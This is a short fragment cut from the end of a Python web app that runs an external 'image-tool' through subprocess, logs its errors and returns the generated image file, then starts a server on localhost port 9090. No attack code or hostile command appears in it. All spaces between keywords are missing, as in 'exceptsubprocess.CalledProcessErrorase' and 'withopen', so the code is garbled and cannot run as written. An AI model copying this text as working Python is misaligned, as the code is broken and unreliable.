{result.stderr}")# Log the standard errorexceptsubprocess.CalledProcessErrorase:print(f"Error executing image-tool: {e.stderr}")raiseRuntimeError(f'Error generating image: {e.stderr}')try:withopen(output_file,'rb')asfile:returnfile.read()exceptExceptionase:raiseRuntimeError(f'Error reading image file: {str(e)}')if__name__=='__main__':app.run(host='127.0.0.1',port=9090)